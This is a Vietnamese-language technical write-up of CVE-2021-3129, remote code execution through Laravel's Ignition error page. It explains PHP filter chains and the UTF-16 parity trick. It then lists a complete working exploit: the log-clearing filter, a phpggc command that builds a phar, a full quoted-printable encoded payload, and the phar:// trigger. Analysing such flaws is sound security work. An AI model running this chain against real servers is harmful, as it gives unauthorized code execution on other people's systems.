---
# System prepended metadata

title: CVE-2021-3129
tags: [CVE]

---

# CVE-2021-3129
## Setup môi trường
* Laravel <= v8.4.2
* Ignition <= 2.5.1
* Lựa chọn khác là dùng docker đã cài đặt môi trường sẵn : [Github](https://github.com/SNCKER/CVE-2021-3129)

## Phân tích
```
Ignition is a beautiful and customizable error page for Laravel applications
```
Khi ta dùng một biến không xác định trong template thì ta sẽ cho ra trang báo lỗi như sau:
![](https://i.imgur.com/aOLZNsX.png)
Mục đích của nó là để ta thêm trường hợp nếu như giá trị trước là không xác định thì ta sẽ dùng giá trị là chuỗi rỗng cho nó.
Ta dùng tính năng `Make variable optional` và dùng BurpSuite intercept request như sau:
![](https://i.imgur.com/LCpCdI9.png)
Như ta thấy thì ngoài solution classname thì ta còn 2 biến khác:
* viewFile: cung cấp đường dẫn đến template.
* variableName: tên biến cần bị thay đổi.

Mình xem qua source code xử lý đường dẫn `/_ignition/execute-solution`:
![](https://i.imgur.com/HVFB0XW.png)
Mình trace đến class `ExecuteSolutionController`:
![](https://i.imgur.com/HSCmOAZ.png)
Tại đây thì `$solution` sẽ là object của class trong request gửi đi:
![](https://i.imgur.com/DnTCiiF.png)
Mình sẽ tóm tắt source code của `MakeViewVariableOptionalSolution.php` thành như sau:
![](https://i.imgur.com/okvAXfO.png)
Để cho dễ hiểu thì mình có thể xem đoạn code trên sau khi loại bỏ các quá trình xử lý bên lề thì sẽ như sau:
![](https://i.imgur.com/dHqie3b.png)


## Ý tưởng khai thác
Vì ta có quyền ghi cũng như sử dụng các PHP Wrapper, nên tại đây ta tìm cách ghi ra file phar và dùng `phar wrapper` để trigger unserialize kết hợp với gadget trong phpggc để RCE.

## Exploit
#### Log File cho đến PHAR
##### PHP Wrapper
Mình sẽ tạo 1 file demo tại `/tmp`:
```
echo "demo" | base64 > /tmp/demo
```
```
$f = 'php://filter/convert.base64-decode/resource=/tmp/demo';
# Đọc nội dung trong /tmp/demo, sau đấy base64-decode và trả về kết quả
$contents = file_get_contents($f); 
# Base64-decode $content sau đấy ghi kết quả vào /tmp/demo
file_put_contents($f, $contents); 
```
Khi này ta đọc file demo sẽ cho ra output như sau:
```
u�
```
Việc cho ra output như vậy là vì data bên trong `/tmp/demo` đã qua base64-decode 2 lần. Nếu như ta muốn data chỉ qua base64-decode một lần thì ta có cách như sau:
```
$f = 'php://filter/read=convert.base64-decode/resource=/tmp/demo';
# Hoặc
$f = 'php://filter/write=convert.base64-decode/resource=/tmp/demo';
```
Khi này output:
```
demo
```
Note: các kí tự đặc biệt sẽ bị bỏ qua trong base64 decode.
#### Ghi vào log file
Trong Laravel, log file, dùng để lưu các lỗi PHP và stack trace, mặc định sẽ được lưu tại `storage/logs/laravel.log`
![](https://i.imgur.com/P0zX4lt.png)
Như vậy ta có thể ghi vào trong log file, nhưng khi này xuất hiện vấn đề như sau:
* Vì log file sẽ chứa nhiều thông tin khác, nên sẽ không đúng format của phar file.

Nên đầu tiên ta cần "làm sạch" các data ở trong `laravel.log`:
```
php://filter/read=consumed/resource=/path/to/file
```
Lưu ý rằng ở đây hoạt động như sau: với payload trên thì khi đi qua file_get_contents sẽ trả về kết quả rỗng, sau đấy giá trị rỗng đó sẽ được đưa vào file thông qua file_put_contents nên từ đấy ta mới có thể làm sạch được log file
Sau khi đã xoá data trong `laravel.log` ta cùng xem qua format của payload khi ta đưa vào:
```
[prefix]INPUT[midfix]INPUT[suffix]
```
Vậy làm sao ta có thể chỉ giữ lại `INPUT`, câu trả lời là `php://filter`.
`php://filter` cho phép ta chain nhiều filter với nhau. Ta sẽ convert từ UTF16 sang UTF8:
```
echo -ne '[prefix]I\0N\0P\0U\0T\0[midfix]I\0N\0P\0U\0T\0[suffix]' > demoC
```
![](https://i.imgur.com/T3obfo2.png)
Như ta thấy thì từ UTF-16 chuyển sang UTF-8 thì sẽ lấy từng cặp 2 byte sau đấy chuyển đổi thành giá trị tương ứng bên UTF-8.Vấn đề đầu tiên ta gặp phải là để quấ trình chuyển đổi từ UTF-16 sang UTF-8 không lỗi thì số lượng kí tự trong file phải luôn là số chẵn nếu không sẽ xảy ra vấn đề như sau:
![](https://i.imgur.com/EdvnwBe.png)
Để giải quyết vấn đề này thì trước tiên ta cần xem xem mình có thể xác định được độ dài của [prefix], [midfix] và [suffix] là chẵn lẻ hay không.
Lưu ý rằng payload của ta sẽ luôn có độ dài là chẵn vì để chuyển từ UTF-16 sang UTF-8 thì các kí tự ASCII trong payload của ta luôn đi kèm với null byte để không xảy ra lỗi với payload.

![](https://i.imgur.com/chopfdx.png)
Như ta thấy thì: 
* `[prefix]`: sẽ luôn có độ dài là lẻ
* `[midfix]`: sẽ luôn có độ dài là lẻ
* `[suffix]`: vì quá dài nên ta sẽ không xác định
Giải pháp tại đây là ta sẽ gửi đi trước một payload vô hại trước khi gửi payload thật của ta, khi này file log sẽ như sau:
```
[prefix]aa[midfix]aa[suffix]
[prefix]INPUT[midfix]INPUT[suffix]
```
[Ghi chú](#3)
Tại đây thì ta có thể chắc chắn rằng sẽ không còn lỗi vì số lượng kí tự không phải là chắn nữa, vậy câu hỏi đặt ra tại đây là liệu payload của ta có thể convert từ UTF-16 sang UTF-8 mà không bị lỗi bất kì kí tự nào không. 
Ta xét qua trường hợp ``[suffix]`` là lẻ:
* Tại dòng payload vô hại:
    * Khi này `[prefix]aa[midfix]aa` là chẵn và ``[suffix]`` kết hợp với kí tự xuống dòng nên sẽ không ảnh hưởng tới payload thật của ta.
* Tại dòng payload thật:
    * Thì `[prefix]INPUT[midfix]` sẽ trở thành chẵn và phần payload nằm phía sau của ta sẽ không bị lỗi và phần ``[suffix]`` sẽ kết hợp với kí tự xuống dòng.
Hình khi `[suffix]` là lẻ:
![](https://i.imgur.com/12LhW7D.png)

Ta xét qua trường hợp ``[suffix]`` là chẵn:
* Tại dòng payload vô hại:
    * Khi này `[prefix]aa[midfix]aa` là chẵn và ``[suffix]`` cũng là chẵn.
* Tại dòng payload thật:
    * Khi này kí tự xuóng dòng kết hợp `[prefix]` sẽ trở thành chắn, nên payload nằm phía trước của ta sẽ không bị lỗi, khi nãy `[midfix]` sẽ khiến phần payload phía sau bị lỗi.
Hình khi `[suffix]` là chẵn:
![](https://i.imgur.com/l8vSBj6.png)

`test.php`:
```php=
<?php
$tmp = file_get_contents("php://filter/read=convert.iconv.utf16le.utf-8/resource=./test.txt");
echo $tmp;
?>
```
Kết hợp với kiến thức mình đã viết ở trên là việc base64-decode sẽ tự động bỏ qua các kí tự đặc biệt ( ngoại trừ `+`,`/`,`=`)
`test.php`:
```php=
<?php
$tmp = file_get_contents("php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=./test.txt");
echo $tmp;
?>
```
[Các trường hợp tổng quát](#1)
[Giải thích vì sao lại dùng utf16le thay vì utf16](#2)

![](https://i.imgur.com/6btArkx.png)
Khi này mình sẽ gặp một vấn đề khác là khi gửi payload lên server thì sẽ bị lỗi như sau:
![](https://i.imgur.com/kqi4Myz.png)
`file_get_contents` sẽ bị lỗi khi ta gửi NULL byte vào trong đấy. Giải pháp khi này là mình sẽ dùng `quoted-printable-encode` và `quoted-printable-decode`, mình chỉ việc encode các kí tự NULL byte và gửi lên server.
Như vậy hiện tại thì mình đã có thể ghi file với nội dung tuỳ ý vào trên server. Phiên bản `Laravel` ảnh hưởng bởi CVE này nằm trong các bản `Laravel` có payload trong phpggc, nên mình sẽ ghi payload vào dưới dạng file phar và dùng `phar filter` để trigger deserialize nữa là hoàn thành việc khai thác.
Tại đây mình sẽ tạo payload phar dùng payload `Laravel/RCE2` trong phpggc:
```
php -d 'phar.readonly=0' ./phpggc laravel/rce2 system id --phar phar -o php://output | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
```
Payload sẽ ra như sau:
```
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=30=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=2B=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=52=00=58=00=5A=00=6C=00=62=00=6E=00=52=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=49=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=70=00=63=00=33=00=52=00=6C=00=62=00=6D=00=56=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=72=00=74=00=45=00=5A=00=6B=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=65=00=61=00=55=00=70=00=64=00=76=00=7A=00=47=00=57=00=79=00=4E=00=74=00=6E=00=53=00=34=00=4B=00=46=00=42=00=39=00=61=00=72=00=35=00=4E=00=6F=00=74=00=65=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00
```
Khi này các bước cụ thể để khai thác như sau:
1. Clear file log
```
viewFile: php://filter/consumed/resource=/src/storage/logs/laravel.log
```
2. Gửi payload giả để bảo đảm độ dài file log luôn là chẵn:
```
viewFile: aa
```
3. Gửi payload
```
viewFile: =50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=30=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=2B=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=52=00=58=00=5A=00=6C=00=62=00=6E=00=52=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=49=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=70=00=63=00=33=00=52=00=6C=00=62=00=6D=00=56=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=49=00=36=00=49=00=6D=00=6C=00=6B=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=58=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4F=00=69=00=4A=00=70=00=5A=00=43=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=44=00=72=00=74=00=45=00=5A=00=6B=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=54=00=65=00=61=00=55=00=70=00=64=00=76=00=7A=00=47=00=57=00=79=00=4E=00=74=00=6E=00=53=00=34=00=4B=00=46=00=42=00=39=00=61=00=72=00=35=00=4E=00=6F=00=74=00=65=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00
```
4.Biến file log thành file phar
```
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/src/storage/logs/laravel.log
```
5.Phar deserialize to RCE
```
viewFile: phar:///src/storage/logs/laravel.log
```
![](https://i.imgur.com/dPUj6D8.png)

# Tham khảo 
https://www.ambionics.io/blog/laravel-debug-rce
https://www.anquanke.com/post/id/231459#h3-5

----

Ghi chú: 
### 1
Mình xét tới trường hợp tổng quát:
1. 1 lẻ 2 chẵn:
```
[lẻ]aa[chẵn]aa[chẵn]
[lẻ]chanze[chẵn]chanze[chẵn]
```
Tại đây `[lẻ]aa[chẵn]aa[chẵn]` và `\n` thành chẵn không ảnh hưởng tới dòng dưới. Tại dòng dưới thì khi này sau `chanze` cần thêm 1 kí tự để việc chuyển đổi thành công.

```
[chẵn]aa[chẵn]aa[lẻ]
[chẵn]chanze[chẵn]chanze[lẻ]
```
Tại đây `[chẵn]aa[chẵn]aa[lẻ]` và `\n` thành chẵn không ảnh hưởng tới dòng dưới. Tại đây cần thêm 1 kí tự bất kì sau `chanze` để cho `chanze` phía sau chuyển đổi bị lỗi.

```
[chẵn]aa[lẻ]aa[chẵn]
[chẵn]chanze[lẻ]chanze[chẵn]
```

Tại đây `[chẵn]aa[lẻ]aa[chẵn]` và `\n` thành chẵn không ảnh hưởng tới dòng dưới. Vì `[lẻ]` nằm giữa nên `chanze` phía trước không lỗi và phía sau lỗi.

2. 2 lẻ 1 chẵn

```
[chẵn]aa[lẻ]aa[lẻ]
[chẵn]chanze[lẻ]chanze[lẻ]
```
Tại đây thì `[chẵn]aa[lẻ]aa[lẻ]`thành chẵn dư ra `\n`.`\n` kết hợp với `[chẵn]` thành lẻ sau khi kết hợp với `chanze[lẻ]` thì thành chẵn và `chanze` phía sau sẽ chuyển đổi thành công.


```
[lẻ]aa[chẵn]aa[lẻ]
[lẻ]chanze[chẵn]chanze[lẻ]
```
Tại đây thì `[lẻ]aa[chẵn]aa[lẻ]`thành chẵn dư ra `\n`.`\n` kết hợp với `[lẻ]` thành chẵn. Như vậy tại trường hợp này `chanze` cần thêm 1 kí tự bất kì phía sau để chỉ `chanze` phía trước là chuyển đổi thành công.
```
[lẻ]aa[lẻ]aa[chẵn]
[lẻ]chanze[lẻ]chanze[chẵn]
```
Tại đây thì `[lẻ]aa[lẻ]aa[chẵn]`thành chẵn dư ra `\n`.`\n` kết hợp với `[lẻ]` thành chẵn.Khi này `chanze` phía trước chuyển đổi thành công, còn `chanze` phía sau sẽ thất bại.

3. 3 lẻ
```
[lẻ]aa[lẻ]aa[lẻ]
[lẻ]chanze[lẻ]chanze[lẻ]
```
Tại đây `[lẻ]aa[lẻ]aa[lẻ]` và `\n` thành chẵn không ảnh hưởng tới dòng dưới.`[lẻ]chanze[lẻ]` sẽ thành chẵn, nên `chanze` phía sau sẽ không bị ảnh hưởng và chuyển đổi thành công.
4. 3 chẵn
```
[chẵn]aa[chẵn]aa[chẵn]
[chẵn]chanze[chẵn]chanze[chẵn]
```
Tại đây thì `[chẵn]aa[chẵn]aa[chẵn]`thành chẵn dư ra `\n`.`\n` kết hợp với `[chẵn]` thành `[lẻ]` . Khi này cần thêm một ký tự bất kì vào sau `chanze` để `chanze` phía sau được chuyển đổi thành công.
Ví dụ:
```
[lẻ]chanze1[chẵn]chanze1[chẵn]
```
Khi này `[lẻ]chanze1[chẵn]` là chẵn nên `chanze` phía sau sẽ chuyển đổi thành công, còn `1` sẽ kết hợp với `[chẵn]` và `\n` thành chăn.


### 2
Giải thích vì sao lại dùng utf16le thay vì utf16:
Vì payload của mình theo format như sau: `P\0A\0Y\0L\0O\0A\0D\0`
![](https://i.imgur.com/BoIgokS.png)
Trong máy tính thì sẽ viết ngược lại nên đúng khi này sẽ là:
```
0005 0041 0059 004c 004f 0041 0044
```
Và khi này thì utf16le mới là cái phù hợp để convert cái này, vì utf16le sẽ đọc byte ít quan trọng trước và byte quan trọng sau.

### 3 
Nếu như bạn thực hiện lại và quan sát kĩ thì sẽ thấy rằng phần lỗi khi ta gửi payload vô hại và payload thật của ta sẽ là 2 thông báo lỗi khác nhau. Nhưng may mắn là cả `[prefix]`, `[midfix]` đều có độ dài là lẻ, cũng như tổng độ dài của cả 2 `[suffix]` đều cho ra là chẵn nên ta không gặp phải lỗi.